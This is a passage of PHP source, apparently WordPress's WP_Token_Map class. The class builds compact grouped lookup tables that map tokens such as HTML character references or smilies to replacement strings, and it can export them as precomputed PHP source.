 * WP_Token_Map class.
 *
 * Use this class in specific circumstances with a static set of lookup keys which map to
 * a static set of transformed values. For example, this class is used to map HTML named
 * character references to their equivalent UTF-8 values.
 *
 * This class works differently than code calling `in_array()` and other methods. It
 * internalizes lookup logic and provides helper interfaces to optimize lookup and
 * transformation. It provides a method for precomputing the lookup tables and storing
 * them as PHP source code.
 *
 * All tokens and substitutions must be shorter than 256 bytes.
 *
 * Example:
 *
 *     $smilies = WP_Token_Map::from_array( array(
 *         '8O' => '😯',
 *         ':(' => '🙁',
 *         ':)' => '🙂',
 *         ':?' => '😕',
 *      ) );
 *
 *      true  === $smilies->contains( ':)' );
 *      false === $smilies->contains( 'simile' );
 *
 *      '😕' === $smilies->read_token( 'Not sure :?.', 9, $length_of_smily_syntax );
 *      2    === $length_of_smily_syntax;
 *
 * ## Precomputing the Token Map.
 *
 * Creating the class involves some work sorting and organizing the tokens and their
 * replacement values. In order to skip this, it's possible for the class to export
 * its state and be used as actual PHP source code.
 *
 * Example:
 *
 *      // Export with four spaces as the indent, only for the sake of this docblock.
 *      // The default indent is a tab character.
 *      $indent = '    ';
 *      echo $smilies->precomputed_php_source_table( $indent );
 *
 *      // Output, to be pasted into a PHP source file:
 *      WP_Token_Map::from_precomputed_table(
 *          array(
 *              "storage_version" => "6.6.0",
 *              "key_length" => 2,
 *              "groups" => "",
 *              "long_words" => array(),
 *              "small_words" => "8O\x00:)\x00:(\x00:?\x00",
 *              "small_mappings" => array( "😯", "🙂", "🙁", "😕" )
 *          )
 *      );
 *
 * ## Large vs. small words.
 *
 * This class uses a short prefix called the "key" to optimize lookup of its tokens.
 * This means that some tokens may be shorter than or equal in length to that key.
 * Those words that are longer than the key are called "large" while those shorter
 * than or equal to the key length are called "small."
 *
 * This separation of large and small words is incidental to the way this class
 * optimizes lookup, and should be considered an internal implementation detail
 * of the class. It may still be important to be aware of it, however.
 *
 * ## Determining Key Length.
 *
 * The choice of the size of the key length should be based on the data being stored in
 * the token map. It should divide the data as evenly as possible, but should not create
 * so many groups that a large fraction of the groups only contain a single token.
 *
 * For the HTML5 named character references, a key length of 2 was found to provide a
 * sufficient spread and should be a good default for relatively large sets of tokens.
 *
 * However, for some data sets this might be too long. For example, a list of smilies
 * may be too small for a key length of 2. Perhaps 1 would be more appropriate. It's
 * best to experiment and determine empirically which values are appropriate.
 *
 * ## Generate Pre-Computed Source Code.
 *
 * Since the `WP_Token_Map` is designed for relatively static lookups, it can be
 * advantageous to precompute the values and instantiate a table that has already
 * sorted and grouped the tokens and built the lookup strings.
 *
 * This can be done with `WP_Token_Map::precomputed_php_source_table()`.
 *
 * Note that if there is a leading character that all tokens need, such as `&` for
 * HTML named character references, it can be beneficial to exclude this from the
 * token map. Instead, find occurrences of the leading character and then use the
 * token map to see if the following characters complete the token.
 *
 * Example:
 *
 *     $map = WP_Token_Map::from_array( array( 'simple_smile:' => '🙂', 'sob:' => '😭', 'soba:' => '🍜' ) );
 *     echo $map->precomputed_php_source_table();
 *     // Output
 *     WP_Token_Map::from_precomputed_table(
 *         array(
 *             "storage_version" => "6.6.0",
 *             "key_length" => 2,
 *             "groups" => "si\x00so\x00",
 *             "long_words" => array(
 *                 // simple_smile:[🙂].
 *                 "\x0bmple_smile:\x04🙂",
 *                 // soba:[🍜] sob:[😭].
 *                 "\x03ba:\x04🍜\x02b:\x04😭",
 *             ),
 *             "short_words" => "",
 *             "short_mappings" => array()
 *         }
 *     );
 *
 * This precomputed value can be stored directly in source code and will skip the
 * startup cost of generating the lookup strings. See `$html5_named_character_entities`.
 *
 * Note that any updates to the precomputed format should update the storage version
 * constant. It would also be best to provide an update function to take older known
 * versions and upgrade them in place when loading into `from_precomputed_table()`.
 *
 * ## Future Direction.
 *
 * It may be viable to dynamically increase the length limits such that there's no need to impose them.
 * The limit appears because of the packing structure, which indicates how many bytes each segment of
 * text in the lookup tables spans. If, however, care were taken to track the longest word length, then
 * the packing structure could change its representation to allow for that. Each additional byte storing
 * length, however, increases the memory overhead and lookup runtime.
 *
 * An alternative approach could be to borrow the UTF-8 variable-length encoding and store lengths of less
 * than 127 as a single byte with the high bit unset, storing longer lengths as the combination of
 * continuation bytes.
 *
 * Since it has not been shown during the development of this class that longer strings are required, this
 * update is deferred until such a need is clear.
 *
 * @since 6.6.0
 */
class WP_Token_Map {
	/**
	 * Denotes the version of the code which produces pre-computed source tables.
	 *
	 * This version will be used not only to verify pre-computed data, but also
	 * to upgrade pre-computed data from older versions. Choosing a name that
	 * corresponds to the WordPress release will help people identify where an
	 * old copy of data came from.
	 */
	const STORAGE_VERSION = '6.6.0-trunk';

/**
	 * Maximum length for each key and each transformed value in the table (in bytes).
	 *
	 * @since 6.6.0
	 */
	const MAX_LENGTH = 256;

/**
	 * How many bytes of each key are used to form a group key for lookup.
	 * This also determines whether a word is considered short or long.
	 *
	 * @since 6.6.0
	 *
	 * @var int
	 */
	private $key_length = 2;

/**
	 * Stores an optimized form of the word set, where words are grouped
	 * by a prefix of the `$key_length` and then collapsed into a string.
	 *
	 * In each group, the keys and lookups form a packed data structure.
	 * The keys in the string are stripped of their "group key," which is
	 * the prefix of length `$this->key_length` shared by all of the items
	 * in the group. Each word in the string is prefixed by a single byte
	 * whose raw unsigned integer value represents how many bytes follow.
	 *
	 *     ┌────────────────┬───────────────┬─────────────────┬────────┐
	 *     │ Length of rest │ Rest of key   │ Length of value │ Value  │
	 *     │ of key (bytes) │               │ (bytes)         │        │
	 *     ├────────────────┼───────────────┼─────────────────┼────────┤
	 *     │ 0x08           │ nterDot;      │ 0x02            │ ·      │
	 *     └────────────────┴───────────────┴─────────────────┴────────┘
	 *
	 * In this example, the key `CenterDot;` has a group key `Ce`, leaving
	 * eight bytes for the rest of the key, `nterDot;`, and two bytes for
	 * the transformed value `·` (or U+B7 or "\xC2\xB7").
	 *
	 * Example:
	 *
	 *    // Stores array( 'CenterDot;' => '·', 'Cedilla;' => '¸' ).
	 *    $groups      = "Ce\x00";
	 *    $large_words = array( "\x08nterDot;\x02·\x06dilla;\x02¸" )
	 *
	 * The prefixes appear in the `$groups` string, each followed by a null
	 * byte. This makes for quick lookup of where in the group string the key
	 * is found, and then a simple division converts that offset into the index
	 * in the `$large_words` array where the group string is to be found.
	 *
	 * This lookup data structure is designed to optimize cache locality and
	 * minimize indirect memory reads when matching strings in the set.
	 *
	 * @since 6.6.0
	 *
	 * @var array
	 */
	private $large_words = array();

/**
	 * Stores the group keys for sequential string lookup.
	 *
	 * The offset into this string where the group key appears corresponds with the index
	 * into the group array where the rest of the group string appears. This is an optimization
	 * to improve cache locality while searching and minimize indirect memory accesses.
	 *
	 * @since 6.6.0
	 *
	 * @var string
	 */
	private $groups = '';

/**
	 * Stores an optimized row of small words, where every entry is
	 * `$this->key_size + 1` bytes long and zero-extended.
	 *
	 * This packing allows for direct lookup of a short word followed
	 * by the null byte, if extended to `$this->key_size + 1`.
	 *
	 * Example:
	 *
	 *     // Stores array( 'GT', 'LT', 'gt', 'lt' ).
	 *     "GT\x00LT\x00gt\x00lt\x00"
	 *
	 * @since 6.6.0
	 *
	 * @var string
	 */
	private $small_words = '';

/**
	 * Replacements for the small words, in the same order they appear.
	 *
	 * With the position of a small word it's possible to index the translation
	 * directly, as its position in the `$small_words` string corresponds to
	 * the index of the replacement in the `$small_mapping` array.
	 *
	 * Example:
	 *
	 *     array( '>', '<', '>', '<' )
	 *
	 * @since 6.6.0
	 *
	 * @var string[]
	 */
	private $small_mappings = array();

/**
	 * Create a token map using an associative array of key/value pairs as the input.
	 *
	 * Example:
	 *
	 *     $smilies = WP_Token_Map::from_array( array(
	 *          '8O' => '😯',
	 *          ':(' => '🙁',
	 *          ':)' => '🙂',
	 *          ':?' => '😕',
	 *       ) );
	 *
	 * @since 6.6.0
	 *
	 * @param array $mappings   The keys transform into the values, both are strings.
	 * @param int   $key_length Determines the group key length. Leave at the default value
	 *                          of 2 unless there's an empirical reason to change it.
	 *
	 * @return WP_Token_Map|null Token map, unless unable to create it.
	 */
	public static function from_array( $mappings, $key_length = 2 ) {
		$map             = new WP_Token_Map();
		$map->key_length = $key_length;

// Start by grouping words.

$groups = array();
		$shorts = array();
		foreach ( $mappings as $word => $mapping ) {
			if (
				self::MAX_LENGTH <= strlen( $word ) ||
				self::MAX_LENGTH <= strlen( $mapping )
			) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: 1: maximum byte length (a count) */
						__( 'Token Map tokens and substitutions must all be shorter than %1$d bytes.' ),
						self::MAX_LENGTH
					),
					'6.6.0'
				);
				return null;
			}

$length = strlen( $word );

if ( $key_length >= $length ) {
				$shorts[] = $word;
			} else {
				$group = substr( $word, 0, $key_length );

if ( ! isset( $groups[ $group ] ) ) {
					$groups[ $group ] = array();
				}

$groups[ $group ][] = array( substr( $word, $key_length ), $mapping );
			}
		}

/*
		 * Sort the words to ensure that no smaller substring of a match masks the full match.
		 * For example, `Cap` should not match before `CapitalDifferentialD`.
		 */
		usort( $shorts, 'WP_Token_Map::longest_first_then_alphabetical' );
		foreach ( $groups as $group_key => $group ) {
			usort(
				$groups[ $group_key ],
				static function ( $a, $b ) {
					return self::longest_first_then_alphabetical( $a[0], $b[0] );
				}
			);
		}

// Finally construct the optimized lookups.

foreach ( $shorts as $word ) {
			$map->small_words     .= str_pad( $word, $key_length + 1, "\x00", STR_PAD_RIGHT );
			$map->small_mappings[] = $mappings[ $word ];
		}

$group_keys = array_keys( $groups );
		sort( $group_keys );

foreach ( $group_keys as $group ) {
			$map->groups .= "{$group}\x00";

$group_string = '';

foreach ( $groups[ $group ] as $group_word ) {
				list( $word, $mapping ) = $group_word;

$word_length    = pack( 'C', strlen( $word ) );
				$mapping_length = pack( 'C', strlen( $mapping ) );
				$group_string  .= "{$word_length}{$word}{$mapping_length}{$mapping}";
			}

$map->large_words[] = $group_string;
		}

return $map;
	}

/**
	 * Creates a token map from a pre-computed table.
	 * This skips the initialization cost of generating the table.
	 *
	 * This function should only be used to load data created with
	 * WP_Token_Map::precomputed_php_source_tag().
	 *
	 * @since 6.6.0
	 *
	 * @param array $state {
	 *     Stores pre-computed state for directly loading into a Token Map.
	 *
	 *     @type string $storage_version Which version of the code produced this state.
	 *     @type int    $key_length      Group key length.
	 *     @type string $groups          Group lookup index.
	 *     @type array  $large_words     Large word groups and packed strings.
	 *     @type string $small_words     Small words packed string.
	 *     @type array  $small_mappings  Small word mappings.
	 * }
	 *
	 * @return WP_Token_Map Map with precomputed data loaded.
	 */
	public static function from_precomputed_table( $state ) {
		$has_necessary_state = isset(
			$state['storage_version'],
			$state['key_length'],
			$state['groups'],
			$state['large_words'],
			$state['small_words'],
			$state['small_mappings']
		);

if ( ! $has_necessary_state ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Missing required inputs to pre-computed WP_Token_Map.' ),
				'6.6.0'
			);
			return null;
		}

if ( self::STORAGE_VERSION !== $state['storage_version'] ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: 1: version string, 2: version string. */
				sprintf( __( 'Loaded version \'%1$s\' incompatible with expected version \'%2$s\'.' ), $state['storage_version'], self::STORAGE_VERSION ),
				'6.6.0'
			);
			return null;
		}

$map = new WP_Token_Map();

$map->key_length     = $state['key_length'];
		$map->groups         = $state['groups'];
		$map->large_words    = $state['large_words'];
		$map->small_words    = $state['small_words'];
		$map->small_mappings = $state['small_mappings'];

return $map;
	}

/**
	 * Indicates if a given word is a lookup key in the map.
	 *
	 * Example:
	 *
	 *     true  === $smilies->contains( ':)' );
	 *     false === $smilies->contains( 'simile' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $word             Determine if this word is a lookup key in the map.
	 * @param string $case_sensitivity Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching. Default 'case-sensitive'.
	 * @return bool Whether there's an entry for the given word in the map.
	 */
	public function contains( $word, $case_sensitivity = 'case-sensitive' ) {
		$ignore_case = 'ascii-case-insensitive' === $case_sensitivity;

if ( $this->key_length >= strlen( $word ) ) {
			if ( 0 === strlen( $this->small_words ) ) {
				return false;
			}

$term    = str_pad( $word, $this->key_length + 1, "\x00", STR_PAD_RIGHT );
			$word_at = $ignore_case ? stripos( $this->small_words, $term ) : strpos( $this->small_words, $term );
			if ( false === $word_at ) {
				return false;
			}

return true;
		}

$group_key = substr( $word, 0, $this->key_length );
		$group_at  = $ignore_case ? stripos( $this->groups, $group_key ) : strpos( $this->groups, $group_key );
		if ( false === $group_at ) {
			return false;
		}
		$group        = $this->large_words[ $group_at / ( $this->key_length + 1 ) ];
		$group_length = strlen( $group );
		$slug         = substr( $word, $this->key_length );
		$length       = strlen( $slug );
		$at           = 0;

while ( $at < $group_length ) {
			$token_length   = unpack( 'C', $group[ $at++ ] )[1];
			$token_at       = $at;
			$at            += $token_length;
			$mapping_length = unpack( 'C', $group[ $at++ ] )[1];
			$mapping_at     = $at;

if ( $token_length === $length && 0 === substr_compare( $group, $slug, $token_at, $token_length, $ignore_case ) ) {
				return true;
			}

$at = $mapping_at + $mapping_length;
		}

return false;
	}

/**
	 * If the text starting at a given offset is a lookup key in the map,
	 * return the corresponding transformation from the map, else `false`.
	 *
	 * This function returns the translated string, but accepts an optional
	 * parameter `$matched_token_byte_length`, which communicates how many
	 * bytes long the lookup key was, if it found one. This can be used to
	 * advance a cursor in calling code if a lookup key was found.
	 *
	 * Example:
	 *
	 *     false === $smilies->read_token( 'Not sure :?.', 0, $token_byte_length );
	 *     '😕'  === $smilies->read_token( 'Not sure :?.', 9, $token_byte_length );
	 *     2     === $token_byte_length;
	 *
	 * Example:
	 *
	 *     while ( $at < strlen( $input ) ) {
	 *         $next_at = strpos( $input, ':', $at );
	 *         if ( false === $next_at ) {
	 *             break;
	 *         }
	 *
	 *         $smily = $smilies->read_token( $input, $next_at, $token_byte_length );
	 *         if ( false === $next_at ) {
	 *             ++$at;
	 *             continue;
	 *         }
	 *
	 *         $prefix  = substr( $input, $at, $next_at - $at );
	 *         $at     += $token_byte_length;
	 *         $output .= "{$prefix}{$smily}";
	 *     }
	 *
	 * @since 6.6.0
	 *
	 * @param string  $text                       String in which to search for a lookup key.
	 * @param int     $offset                     Optional. How many bytes into the string where the lookup key ought to start. Default 0.
	 * @param ?int    &$matched_token_byte_length Optional. Holds byte-length of found token matched, otherwise not set. Default null.
	 * @param string  $case_sensitivity           Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching. Default 'case-sensitive'.
	 * @return string|null Mapped value of lookup key if found, otherwise `null`.
	 */
	public function read_token( $text, $offset = 0, &$matched_token_byte_length = null, $case_sensitivity = 'case-sensitive' ) {
		$ignore_case = 'ascii-case-insensitive' === $case_sensitivity;
		$text_length = strlen( $text );

// Search for a long word first, if the text is long enough, and if that fails, a short one.
		if ( $text_length > $this->key_length ) {
			$group_key = substr( $text, $offset, $this->key_length );

$group_at = $ignore_case ? stripos( $this->groups, $group_key ) : strpos( $this->groups, $group_key );
			if ( false === $group_at ) {
				// Perhaps a short word then.
				return strlen( $this->small_words ) > 0
					? $this->read_small_token( $text, $offset, $matched_token_byte_length, $case_sensitivity )
					: null;
			}

$group        = $this->large_words[ $group_at / ( $this->key_length + 1 ) ];
			$group_length = strlen( $group );
			$at           = 0;
			while ( $at < $group_length ) {
				$token_length   = unpack( 'C', $group[ $at++ ] )[1];
				$token          = substr( $group, $at, $token_length );
				$at            += $token_length;
				$mapping_length = unpack( 'C', $group[ $at++ ] )[1];
				$mapping_at     = $at;

if ( 0 === substr_compare( $text, $token, $offset + $this->key_length, $token_length, $ignore_case ) ) {
					$matched_token_byte_length = $this->key_length + $token_length;
					return substr( $group, $mapping_at, $mapping_length );
				}

$at = $mapping_at + $mapping_length;
			}
		}

// Perhaps a short word then.
		return strlen( $this->small_words ) > 0
			? $this->read_small_token( $text, $offset, $matched_token_byte_length, $case_sensitivity )
			: null;
	}

/**
	 * Finds a match for a short word at the index.
	 *
	 * @since 6.6.0.
	 *
	 * @param string $text                       String in which to search for a lookup key.
	 * @param int    $offset                     Optional. How many bytes into the string where the lookup key ought to start. Default 0.
	 * @param ?int   &$matched_token_byte_length Optional. Holds byte-length of found lookup key if matched, otherwise not set. Default null.
	 * @param string $case_sensitivity           Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching. Default 'case-sensitive'.
	 * @return string|null Mapped value of lookup key if found, otherwise `null`.
	 */
	private function read_small_token( $text, $offset, &$matched_token_byte_length, $case_sensitivity = 'case-sensitive' ) {
		$ignore_case  = 'ascii-case-insensitive' === $case_sensitivity;
		$small_length = strlen( $this->small_words );
		$search_text  = substr( $text, $offset, $this->key_length );
		if ( $ignore_case ) {
			$search_text = strtoupper( $search_text );
		}
		$starting_char = $search_text[0];

$at = 0;
		while ( $at < $small_length ) {
			if (
				$starting_char !== $this->small_words[ $at ] &&
				( ! $ignore_case || strtoupper( $this->small_words[ $at ] ) !== $starting_char )
			) {
				$at += $this->key_length + 1;
				continue;
			}

for ( $adjust = 1; $adjust < $this->key_length; $adjust++ ) {
				if ( "\x00" === $this->small_words[ $at + $adjust ] ) {
					$matched_token_byte_length = $adjust;
					return $this->small_mappings[ $at / ( $this->key_length + 1 ) ];
				}

if (
					$search_text[ $adjust ] !== $this->small_words[ $at + $adjust ] &&
					( ! $ignore_case || strtoupper( $this->small_words[ $at + $adjust ] !== $search_text[ $adjust ] ) )
				) {
					$at += $this->key_length + 1;
					continue 2;
				}
			}

$matched_token_byte_length = $adjust;
			return $this->small_mappings[ $at / ( $this->key_length + 1 ) ];
		}

return null;
	}

/**
	 * Exports the token map into an associate array of key/value pairs.
	 *
	 * Example:
	 *
	 *     $smilies->to_array() === array(
	 *         '8O' => '😯',
	 *         ':(' => '🙁',
	 *         ':)' => '🙂',
	 *         ':?' => '😕',
	 *     );
	 *
	 * @return array The lookup key/substitution values as an associate array.
	 */
	public function to_array() {
		$tokens = array();

$at            = 0;
		$small_mapping = 0;
		$small_length  = strlen( $this->small_words );
		while ( $at < $small_length ) {
			$key            = rtrim( substr( $this->small_words, $at, $this->key_length + 1 ), "\x00" );
			$value          = $this->small_mappings[ $small_mapping++ ];
			$tokens[ $key ] = $value;

$at += $this->key_length + 1;
		}

foreach ( $this->large_words as $index => $group ) {
			$prefix       = substr( $this->groups, $index * ( $this->key_length + 1 ), 2 );
			$group_length = strlen( $group );
			$at           = 0;
			while ( $at < $group_length ) {
				$length = unpack( 'C', $group[ $at++ ] )[1];
				$key    = $prefix . substr( $group, $at, $length );

$at    += $length;
				$length = unpack( 'C', $group[ $at++ ] )[1];
				$value  = substr( $group, $at, $length );

$tokens[ $key ] = $value;
				$at            += $length;
			}
		}

return $tokens;
	}

/**
	 * Export the token map for quick loading in PHP source code.
	 *
	 * This function has a specific purpose, to make loading of static token maps fast.
	 * It's used to ensure that the HTML character reference lookups add a minimal cost
	 * to initializing the PHP process.
	 *
	 * Example:
	 *
	 *     echo $smilies->precomputed_php_source_table();
	 *
	 *     // Output.
	 *     WP_Token_Map::from_precomputed_table(
	 *         array(
	 *             "storage_version" => "6.6.0",
	 *             "key_length" => 2,
	 *             "groups" => "",
	 *             "long_words" => array(),
	 *             "small_words" => "8O\x00:)\x00:(\x00:?\x00",
	 *             "small_mappings" => array( "😯", "🙂", "🙁", "😕" )
	 *         )
	 *     );
	 *
	 * @since 6.6.0
	 *
	 * @param string $indent Optional. Use this string for indentation, or rely on the default horizontal tab character. Default "\t".
	 * @return string Value which can be pasted into a PHP source file for quick loading of table.
	 */
	public function precomputed_php_source_table( $indent = "\t" ) {
		$i1 = $indent;
		$i2 = $i1 . $indent;
		$i3 = $i2 . $indent;

$class_version = self::STORAGE_VERSION;

$output  = self::class . "::from_precomputed_table(\n";
		$output .= "{$i1}array(\n";
		$output .= "{$i2}\"storage_version\" => \"{$class_version}\",\n";
		$output .= "{$i2}\"key_length\" => {$this->key_length},\n";

$group_line = str_replace( "\x00", "\\x00", $this->groups );
		$output    .= "{$i2}\"groups\" => \"{$group_line}\",\n";

$output .= "{$i2}\"large_words\" => array(\n";

$prefixes = explode( "\x00", $this->groups );
		foreach ( $prefixes as $index => $prefix ) {
			if ( '' === $prefix ) {
				break;
			}
			$group        = $this->large_words[ $index ];
			$group_length = strlen( $group );
			$comment_line = "{$i3}//";
			$data_line    = "{$i3}\"";
			$at           = 0;
			while ( $at < $group_length ) {
				$token_length   = unpack( 'C', $group[ $at++ ] )[1];
				$token          = substr( $group, $at, $token_length );
				$at            += $token_length;
				$mapping_length = unpack( 'C', $group[ $at++ ] )[1];
				$mapping        = substr( $group, $at, $mapping_length );
				$at            += $mapping_length;

$token_digits   = str_pad( dechex( $token_length ), 2, '0', STR_PAD_LEFT );
				$mapping_digits = str_pad( dechex( $mapping_length ), 2, '0', STR_PAD_LEFT );

$mapping = preg_replace_callback(
					"~[\\x00-\\x1f\\x22\\x5c]~",
					static function ( $match_result ) {
						switch ( $match_result[0] ) {
							case '"':
								return '\\"';

case '\\':
								return '\\\\';

default:
								$hex = dechex( ord( $match_result[0] ) );
								return "\\x{$hex}";
						}
					},
					$mapping
				);

$comment_line .= " {$prefix}{$token}[{$mapping}]";
				$data_line    .= "\\x{$token_digits}{$token}\\x{$mapping_digits}{$mapping}";
			}
			$comment_line .= ".\n";
			$data_line    .= "\",\n";

$output .= $comment_line;
			$output .= $data_line;
		}

$output .= "{$i2}),\n";

$small_words  = array();
		$small_length = strlen( $this->small_words );
		$at           = 0;
		while ( $at < $small_length ) {
			$small_words[] = substr( $this->small_words, $at, $this->key_length + 1 );
			$at           += $this->key_length + 1;
		}

$small_text = str_replace( "\x00", '\x00', implode( '', $small_words ) );
		$output    .= "{$i2}\"small_words\" => \"{$small_text}\",\n";

$output .= "{$i2}\"small_mappings\" => array(\n";
		foreach ( $this->small_mappings as $mapping ) {
			$output .= "{$i3}\"{$mapping}\",\n";
		}
		$output .= "{$i2})\n";
		$output .= "{$i1})\n";
		$output .= ')';

return $output;
	}

/**
	 * Compares two strings, returning the longest, or whichever
	 * is first alphabetically if they are the same length.
	 *
	 * This is an important sort when building the token map because
	 * it should not form a match on a substring of a longer potential
	 * match. For example, it should not detect `Cap` when matching
	 * against the string `CapitalDifferentialD`.
	 *
	 * @since 6.6.0
	 *
	 * @param string $a First string to compare.
	 * @param string $b Second string to compare.
	 * @return int -1 or lower if `$a` is less than `$b`; 1 or greater if `$a` is greater than `$b`, and 0 if they are equal.
	 */
	private static function longest_first_then_alphabetical( $a, $b ) {
		if ( $a === $b ) {
			return 0;
		}

$length_a = strlen( $a );
		$length_b = strlen( $b );

// Longer strings are less-than for comparison's sake.
		if ( $length_a !== $length_b ) {
			return $length_b - $length_a;
		}

return strcmp( $a, $b );
	}
}